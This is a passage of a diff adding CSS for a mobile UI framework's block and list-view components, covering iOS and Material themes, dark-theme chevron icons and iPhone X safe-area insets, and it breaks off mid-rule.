.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 0; + } + .ios.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +.md .block { + margin: 32px 0; + padding: 0 16px; +} +.md .block-title { + color: rgba(0, 0, 0, 0.54); + margin: 32px 16px 16px; + line-height: 16px; + font-weight: 500; +} +.md .block-title + .list, +.md .block-title + .block, +.md .block-title + .card, +.md .block-title + .timeline, +.md .block-title + .block-header { + margin-top: 0px; +} +.md .block-strong { + padding: 16px; +} +.md .block-strong:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .block-strong:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .block-strong:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .block-strong:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .block-strong:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .block-strong:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .block.inset { + margin-left: 16px; + margin-right: 16px; +} +.md .block-strong.inset { + border-radius: 4px; +} +.md .block-header, +.md .block-footer { + padding: 0 16px; + color: rgba(0, 0, 0, 0.54); +} +.md .block .block-header, +.md .block .block-footer { + padding: 0; +} +.md .block-header { + margin-top: 32px; +} +.md .block-header + .list, +.md .block-header + .block, +.md .block-header + .card, +.md .block-header + .timeline { + margin-top: 10px; +} +.md .block-footer { + margin-bottom: 32px; +} +.md .list .block-header, +.md .block .block-header, +.md .card .block-header, +.md .timeline .block-header { + margin-top: 0; +} +.md .list .block-footer, +.md .block .block-footer, +.md .card .block-footer, +.md .timeline .block-footer { + margin-bottom: 0; +} +.md .list + .block-footer, +.md .block + .block-footer, +.md .card + .block-footer, +.md .timeline + .block-footer { + margin-top: -22px; +} +.md .block + .block-footer { + margin-top: -22px; + margin-bottom: 32px; +} +@media (min-width: 768px) { + .md .block.tablet-inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; + } + .md .block-strong.tablet-inset { + border-radius: 4px; + } +} +.md .theme-dark .block-title { + color: #fff; +} +.md .theme-dark .block-header, +.md .theme-dark .block-footer { + color: rgba(255, 255, 255, 0.54); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-left-edge .block-header, + .md.device-iphone-x .ios-edges .block-header, + .md.device-iphone-x .popup .block-header, + .md.device-iphone-x .sheet-modal .block-header, + .md.device-iphone-x .panel-left .block-header, + .md.device-iphone-x .ios-left-edge .block-footer, + .md.device-iphone-x .ios-edges .block-footer, + .md.device-iphone-x .popup .block-footer, + .md.device-iphone-x .sheet-modal .block-footer, + .md.device-iphone-x .panel-left .block-footer { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 0; + } + .md.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-right-edge .block-header, + .md.device-iphone-x .ios-edges .block-header, + .md.device-iphone-x .popup .block-header, + .md.device-iphone-x .sheet-modal .block-header, + .md.device-iphone-x .panel-right .block-header, + .md.device-iphone-x .ios-right-edge .block-footer, + .md.device-iphone-x .ios-edges .block-footer, + .md.device-iphone-x .popup .block-footer, + .md.device-iphone-x .sheet-modal .block-footer, + .md.device-iphone-x .panel-right .block-footer { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 0; + } + .md.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +/* === List View === */ +.list { + position: relative; + z-index: 1; +} +.list ul { + list-style: none; + margin: 0; + padding: 0; + position: relative; +} +.list ul ul:before { + display: none !important; +} +.list ul ul:after { + display: none !important; +} +.list li { + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-media { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding-bottom: 8px; +} +.list .item-inner { + position: relative; + width: 100%; + padding-top: 8px; + padding-bottom: 8px; + min-width: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.list .item-title { + min-width: 0; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + max-width: 100%; +} +.list .item-after { + white-space: nowrap; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + margin-right: auto; +} +.list .item-link, +.list .list-button { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + z-index: 0; +} +.list .item-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.list .item-subtitle { + position: relative; + overflow: hidden; + white-space: nowrap; + max-width: 100%; + text-overflow: ellipsis; +} +.list .item-text { + position: relative; + overflow: hidden; + text-overflow: hidden; + -webkit-line-clamp: 2; + -webkit-box-orient: vertical; + display: -webkit-box; +} +.list .item-title-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-title-row .item-after { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.list .item-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-cell { + display: block; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.list li:last-child .list-button:after { + display: none !important; +} +.list li:last-child > .item-inner:after, +.list li:last-child li:last-child > .item-inner:after, +.list li:last-child > .item-content > .item-inner:after, +.list li:last-child li:last-child > .item-content > .item-inner:after, +.list li:last-child > .item-link > .item-content > .item-inner:after, +.list li:last-child li:last-child > .item-link > .item-content > .item-inner:after { + display: none !important; +} +.list.no-hairlines:before, +.list.no-hairlines ul:before, +.md .list.no-hairlines-md:before, +.md .list.no-hairlines-md ul:before, +.ios .list.no-hairlines-ios:before, +.ios .list.no-hairlines-ios ul:before { + display: none !important; +} +.list.no-hairlines:after, +.list.no-hairlines ul:after, +.md .list.no-hairlines-md:after, +.md .list.no-hairlines-md ul:after, +.ios .list.no-hairlines-ios:after, +.ios .list.no-hairlines-ios ul:after { + display: none !important; +} +.list.no-hairline-top:before, +.list.no-hairline-top ul:before, +.md .list.no-hairline-top-md:before, +.md .list.no-hairline-top-md ul:before, +.ios .list.no-hairline-top-ios:before, +.ios .list.no-hairline-top-ios ul:before { + display: none !important; +} +.list.no-hairline-bottom:after, +.list.no-hairline-bottom ul:after, +.md .list.no-hairline-bottom-md:after, +.md .list.no-hairline-bottom-md ul:after, +.ios .list.no-hairline-bottom-ios:after, +.ios .list.no-hairline-bottom-ios ul:after { + display: none !important; +} +.list.no-hairlines-between .item-inner:after, +.md .list.no-hairlines-between-md .item-inner:after, +.ios .list.no-hairlines-between-ios .item-inner:after, +.list.no-hairlines-between .list-button:after, +.md .list.no-hairlines-between-md .list-button:after, +.ios .list.no-hairlines-between-ios .list-button:after, +.list.no-hairlines-between .item-divider:after, +.md .list.no-hairlines-between-md .item-divider:after, +.ios .list.no-hairlines-between-ios .item-divider:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after { + display: none !important; +} +.list.no-hairlines-between.simple-list li:after, +.md .list.no-hairlines-between-md.simple-list li:after, +.ios .list.no-hairlines-between-ios.simple-list li:after { + display: none !important; +} +.list.no-hairlines-between.links-list a:after, +.md .list.no-hairlines-between-md.links-list a:after, +.ios .list.no-hairlines-between-ios.links-list a:after { + display: none !important; +} +.list.simple-list li { + position: relative; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.list.simple-list li:last-child:after { + display: none !important; +} +.list.links-list a { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; +} +.list.links-list li:last-child a:after { + display: none !important; +} +.media-list .item-inner, +li.media-item .item-inner { + display: block; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background: none; +} +.media-list .item-media, +li.media-item .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.media-list .item-media img, +li.media-item .item-media img { + display: block; +} +.list .item-link .item-inner, +.links-list a, +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row, +.media-list.chevron-center .item-link .item-inner, +.media-list .chevron-center .item-link .item-inner, +.media-list .item-link.chevron-center .item-inner, +li.media-item.chevron-center .item-link .item-inner, +li.media-item .chevron-center .item-link .item-inner, +li.media-item .item-link.chevron-center .item-inner { + background-size: 8px 13px; + background-repeat: no-repeat; + background-position: 15px center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.links-list.no-chevron a, +.no-chevron .links-list a, +.links-list .no-chevron a, +.item-link.no-chevron .item-inner, +.no-chevron .item-link .item-inner, +.media-list.no-chevron .item-link .item-title-row, +.no-chevron .media-list .item-link .item-title-row, +li.media-item .no-chevron .item-title-row, +li.media-item.no-chevron .item-title-row, +.media-list.chevron-center .item-title-row, +.media-list .chevron-center .item-title-row, +li.media-item.chevron-center .item-title-row, +li.media-item .chevron-center .item-title-row { + background-image: none !important; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background-image: none; +} +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row { + background-position: left center !important; +} +.list-group ul:after, +.list-group ul:before { + z-index: 25 !important; +} +.list-group + .list-group ul:before { + display: none !important; +} +li.item-divider, +.item-divider, +li.list-group-title { + white-space: nowrap; + position: relative; + max-width: 100%; + text-overflow: ellipsis; + overflow: hidden; + z-index: 15; +} +li.list-group-title { + position: relative; + position: -webkit-sticky; + position: sticky; + top: 0; + margin-top: 0; + z-index: 20; +} +li.list-group-title:before { + display: none !important; +} +.list.inset .block-title { + margin-left: 0; + margin-right: 0; +} +.list.inset ul:before { + display: none !important; +} +.list.inset ul:after { + display: none !important; +} +@media (min-width: 768px) { + .list.tablet-inset .block-title { + margin-left: 0; + margin-right: 0; + } + .list.tablet-inset ul:before { + display: none !important; + } + .list.tablet-inset ul:after { + display: none !important; + } +} +.theme-dark .list .item-link .item-inner, +.list.theme-dark .item-link .item-inner, +.theme-dark .links-list a, +.links-list.theme-dark a, +.theme-dark .media-list .item-link .item-title-row, +.media-list.theme-dark .item-link .item-title-row, +.theme-dark li.media-item .item-link .item-title-row { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.theme-dark .media-list .item-link .item-inner, +.media-list.theme-dark .item-link .item-inner, +.theme-dark li.media-item .item-link .item-inner { + background-image: none; +} +.ios .list { + margin: 35px 0; + font-size: 17px; +} +.ios .list .item-cell { + width: 100%; + min-width: 0; + margin-right: 15px; +} +.ios .list .item-cell:first-child { + margin-right: 0; +} +.ios .list ul { + background: #fff; +} +.ios .list ul ul { + padding-right: 45px; +} +.ios .list .item-media { + padding-top: 7px; +} +.ios .list .item-media i + i, +.ios .list .item-media i + img { + margin-right: 5px; +} +.ios .list .item-media + .item-inner { + margin-right: 15px; +} +.ios .list .item-inner { + min-height: 44px; + padding-left: 15px; +} +.ios .list .item-after { + color: #8e8e93; + padding-right: 5px; +} +.ios .list .item-link, +.ios .list .list-button { + color: inherit; +} +.ios .list .item-link .item-inner, +.ios .list .list-button .item-inner { + padding-left: 35px; +} +.ios .list .item-link.active-state, +.ios .list .list-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .list .item-link.active-state .item-inner:after, +.ios .list .list-button.active-state .item-inner:after { + background-color: transparent; +} +.ios .list .list-button { + padding: 0 15px; + text-align: center; + color: #007aff; + line-height: 44px; +} +.ios .list .item-content { + min-height: 44px; + padding-right: 15px; +} +.ios .list .item-subtitle { + font-size: 15px; +} +.ios .list .item-text { + font-size: 15px; + color: #8e8e93; + line-height: 21px; + max-height: 42px; +} +.ios .list .item-header, +.ios .list .item-footer { + font-weight: normal; + font-size: 12px; + line-height: 1.2; + white-space: normal; +} +.ios .list .item-footer { + color: #8e8e93; +} +.ios .list .item-link.no-chevron .item-inner, +.ios .list.no-chevron .item-link .item-inner, +.ios .list .no-chevron .item-link .item-inner, +.ios .no-chevron .list .item-link .item-inner { + padding-left: 15px; +} +.ios .simple-list li:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .simple-list li:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .simple-list li:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .simple-list li { + padding-left: 15px; + padding-right: 15px; + line-height: 44px; + height: 44px; +} +.ios .simple-list li:after { + left: 15px; + right: 0; + width: auto; + right: 15px; + left: 0; +} +.ios .links-list a:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .links-list a:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .links-list a:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .links-list a { + height: 44px; + color: inherit; +} +.ios .links-list a.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .links-list a:after { + width: auto; +} +.ios .links-list a { + padding-right: 15px; + padding-left: 35px; +} +.ios .links-list a:after { + right: 15px; + left: 0; +} +.ios .links-list.no-chevron a, +.ios .no-chevron .links-list a, +.ios .links-list a.no-chevron, +.ios .links-list .no-chevron a { + padding-left: 15px; +} +.ios .media-list .item-title, +.ios li.media-item .item-title { + font-weight: 600; +} +.ios .media-list .item-inner, +.ios li.media-item .item-inner { + padding-top: 10px; + padding-bottom: 9px; +} +.ios .media-list .item-media, +.ios li.media-item .item-media { + padding-top: 9px; + padding-bottom: 10px; +} +.ios .media-list .item-link .item-inner, +.ios li.media-item .item-link .item-inner { + padding-left: 15px; +} +.ios .media-list .item-link .item-title-row, +.ios li.media-item .item-link .item-title-row { + padding-left: 20px; +} +.ios .media-list.chevron-center .item-link .item-inner, +.ios .media-list .chevron-center .item-link .item-inner, +.ios .media-list .item-link.chevron-center .item-inner, +.ios li.media-item.chevron-center .item-link .item-inner, +.ios li.media-item .item-link.chevron-center .item-inner, +.ios li.media-item .chevron-center .item-link .item-inner { + padding-left: 35px; +} +.ios .media-list.no-chevron .item-link .item-title-row, +.ios .no-chevron .media-list .item-link .item-title-row, +.ios .media-list .no-chevron .item-link .item-title-row, +.ios li.media-item.no-chevron .item-link .item-title-row, +.ios .no-chevron li.media-item .item-link .item-title-row, +.ios .media-list.chevron-center .item-title-row, +.ios .media-list .chevron-center .item-title-row, +.ios li.media-item.chevron-center .item-title-row, +.ios li.media-item .chevron-center .item-title-row { + padding-left: 0 !important; +} +.ios .list .item-link .item-inner, +.ios .links-list a { + background-position: 15px center; +} +.ios .item-divider, +.ios .list-group-title { + margin-top: -1px; + padding: 4px 15px; + background: #f7f7f7; + color: #8e8e93; +} +.ios .item-divider:after, +.ios .list-group-title:after { + display: none !important; +} +.ios .list-group-title { + margin-top: 0; +} +.ios .item-divider:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .item-divider:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .item-divider:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list-group-title:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .list-group-title:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list-group-title:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list .list-button:after { + 